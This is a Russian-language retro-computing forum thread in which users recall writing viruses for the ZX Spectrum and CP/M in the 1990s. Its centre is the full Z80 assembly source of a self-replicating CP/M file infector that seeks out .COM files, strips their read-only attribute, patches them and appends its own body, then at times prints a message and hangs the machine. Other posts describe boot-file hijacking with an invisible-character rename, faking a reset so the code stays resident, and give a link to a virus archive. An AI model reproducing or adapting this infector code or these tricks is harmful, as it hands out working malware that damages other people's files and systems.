Недеструктивный вирус который внедрялся в бейсик-загрузчики и я в свое время писал. Было это году в 93 как мне помнится. Штука достаточно несложная.
Вид для печати
Недеструктивный вирус который внедрялся в бейсик-загрузчики и я в свое время писал. Было это году в 93 как мне помнится. Штука достаточно несложная.
В году так 95-ом помню ковырял загрузчик игры Toi Acid Game от каких-то Новосибирских умельцев. Загрузчик представлял из себя довольно большой basic блок, после запуска которого загрузка продолжалась с бегущей строкой! Долгие попытки раскурочить ни к чему не приводили. А вот при загрузке basic'а без запуска, и последующим запуском run'ом выводился текст: "Ваш компьютер сломан, выключите его и не пытайтесь ремонтировать сами. За ремонтом обращайтесь по адресу XXX". При этом надпись выводилась через прерывания, и также в порт FE сыпался мусор, издавающий треск :) И как по совпадению у меня сгорел проц ;)
Насчёт полноценных вирусов - было одно и в то же время единственное препятствие: отсутствие жёсткого диска. Распространение же "вируса" через дискеты можно было заметить невооружённым глазом.
Тем не менее "программы-шутки :) " всё же в середине 1990-х годов рождались. "Классикой жанра" были DZU (от русского ДЗУ - "ДискоЗапарывательная Утилита"). Их проявление легко обнаруживалось, да и авторы не стремились к секретности - как правило, они прилагали и анти-ДЗУ.
В общем, в обиде, вроде, никто ни на кого не был.
:)
Имхо, отсутствие жестокого диска не помеха. Помнится как на моей старой тройке без харда, один маленький и в принципе безвредный вирус (играл спикером музыку в 17:00 :)) умудрился расплодиться на всю стопку моих дискет.
А вот то что памяти на Спеке утконос наплакал, да еще и пользователи не стесняются смотреть её содержимое, плюс постоянный аппаратный ресет, да помножить все это на суровую однозадачность... Вот тут-то, кажись, и препятствие к распространению вирусов.
Я в 1996г. по-приколу состряпал вирус для CP/M и скормил его приятелю. :v2_devil: Он его вычислил как раз по "лишним" перемещениям головки дисковода. :v2_rolley Но к тому моменту несколько дискет было уже заражено...
В сохранившейся версии деструктор примитивный: сообщение + di halt, а еще была более навороченная версия, сожавшая резидента (штатно по-CPM-овски: опуская верхнюю границу TPA, или в служебное ОЗУ), которая при выводе на экран и принтер иногда по RND вставляла после запятых артикль "бля" (это плагиат с PC). :)
Код:.z80
;
bdos equ 5
dma equ 0C280h
;
virus: ld hl,mbody
ld de,gogen
ld bc,endgogen-gogen ; подготовить запускалку файла
call lldir
ld a,(counter) ; счетчик копий вируса
and 1FH
push af
inc a
ld (counter),a
;
next: call setdma ; поиск жертвы
ld c,17
call bdosfcb
nfnd: ld hl,fcb+1
ld de,fcb+2
ld bc,7
ld (hl),'?'
call lldir
cp 4
jp nc,nfound
ld c,18
call bdosfcb ; ищем файл, следующий за зараженным
cp 4
jp c,lab1
;
nfound: ld c,17
call bdosfcb
cp 4
jp nc,gogen
lab1: rrca
rrca
rrca ; a:=a*32 - отн. адрес каталога в DMA
ld b,0
ld c,a
ld hl,dma
add hl,bc ; hl= абсолют. адрес каталога в DMA
ld de,fcb
ld bc,9
call lldir ; копию имени из DMA -> в fcb
ld a,(hl)
rla ; c=0 , если файл не установлен в R/O
push af
ld c,30
call c,bdosfcb ; иначе сбросить атрибут R/O
call open
ld c,35
call bdosfcb ; вычислим продвинутый размер файла (размер+1)
ld hl,(fcb+21h) ; в 128-и байтных записях
ld a,h
or l
jp z,nfnd ; Длина файла = 0 => выйти
push hl
inc hl
inc hl
ld b,7
loop3: add hl,hl
dec b
jp nz,loop3
ld (mbody+1),hl ; hl=начало последнего сектора в памяти
;
ld de,dma
call read ; считаем первую запись файла в (0c280h)
ld de,dma+80h
call read ; считаем вторую запись файла в (0c300h)
ld de,dma+100h
call read ; считаем 3-ю запись файла в (0c380h)
;
call open ; открыть файл
ld de,100h
call write ; записать модифицированный 1-й сектор
ld de,180h
call write ; записать модифицированный 2-й сектор
ld de,200h
call write ; записать модифицированный 3-й сектор
pop hl
ld de,dma
call append1 ; добавить к файлу запись с адр. 0c280h
ld de,dma+80h
call append ; добавить к файлу запись с адр. 0c300h
ld de,dma+100h
call append ; добавить к файлу запись с адр. 0c380h
ld c,16
call bdosfcb ; закрыть файл
;
pop af
jp nc,killer ; переход , если файл не был R/O
ld hl,(fcb+9)
ld a,(hl)
or 80h
ld (hl),a
ld c,30
call bdosfcb ; иначе установить атрибут R/O
;
killer: pop af ; п/п деструктивного действия
jp nz,gogen
ld de,orion
ld c,9
call bdos
di ; вешаем машину
halt
orion: db 1fh,'Hello! I',39,'m Gogen. Good luck!!!','$'
counter:db 1
;
open: LD HL,FCB+12
LD DE,FCB+13
LD BC,17H
LD (HL),0
call lldir
ld c,15
bdosfcb:ld de,fcb
jp bdos ; открыть файл
;
setdma: ld de,dma
setpdp: ld c,26
jp bdos ; установим адрес буфера DMA
;
read: call setpdp
ld c,20
jp bdosfcb ; считаем запись файла в DMA (по DE)
;
write: call setpdp
ld c,21
jp bdosfcb ; пишем запись из DMA (по DE) в файл
;
append: ld hl,(fcb+21h)
inc hl
append1:ld (fcb+21h),hl
call setpdp
ld c,34
jp bdosfcb ; добавить запись из DMA (по DE) к файлу
;
lldir: push af
mldir: ld a,(hl)
ld (de),a
inc hl
inc de
dec bc
ld a,b
or c
jp nz,mldir
pop af
ret
;
mbody:
.phase 0edh
gogen: ld hl,100h
ld de,100h
ld bc,180h
ldirr: ld a,(hl)
ld (de),a
inc hl
inc de
dec bc
ld a,b
or c
jp nz,ldirr
endgogen:
.dephase
;
fcb: ds 9h,0
db 'COM'
ds 18h,0
end
меня помню интересовала идея именно наличия концептуальной возможности написания вирусов для спектрума.. пришел к выводу, что достаточно несложная задача если использовать психологические особенности человека, иммитируя вирусом сбро компьютера, так как никто после этого как правило кнопку RESET повторно не нажимает :) давая возможность к резидентному существованию кода злоумышленника в памяти
Хотел сделать вирус в 1996. Ничего не получилось (глюки и всё такое :)). Должен был "паразитировать" на конкретном буте, т.е. использовать его для размножения.
Как сделать чтобы он мог прикрепляться к любому файлу, запускаться при запуске этого файла и при этом не нарушать работоспособность зараженного файла я придумать не смог. Чтобы вирус мог перебрасываться с диска на диск его нужно цеплять к командеру, либо к буту. Вот я тогда что-то решил к буту прицепить (до командера, видать, не додумался :)). В любом случае вирус получается заточенным под конкретную программу/программы которые он будет использовать для размножения.
Имхо, действительно мешал аппаратный reset (систематический. Любая прога выключалась именно им. Смерть вирусу гарантирована). Это значит что у обычных юзеров вирус размножится не мог.
Добавлено через 5 минут
А на писюке всё сделано для комфортного размножения вирусов, потому они на нём и есть. Недавно врубил флэшку, зашел на нее через "мой компутер", и сама винда запустила вирус. Фича называется "autorun". :) Все вирусы, что у меня были, использовали эту встроенную возможность винды для своего запуска. Сам я эту фичу никогда не использую. Только вирусы используют.
Я вот тут нарыл:
http://vx.org.ua/exotic.php
В самом низу есть пара вирей для ZX, что делают, пока сам не смотрел, но попробую на эмуле (ввиду отсутствия реала с тырдосом :) )
Добавлено через 3 минуты
Ба, они русские :):D
На буржуйский сайт каким то образом попали :)
Тоже в своё время баловались. Самое элементарное boot в boot_ переименовать (Вместо _ можно не видимый символ из псевдографики забацать). А вирус в качестве boot.B сделать. Ну и соответственно ченить делать, а потом грузить boot_. Надеюсь идея понятна....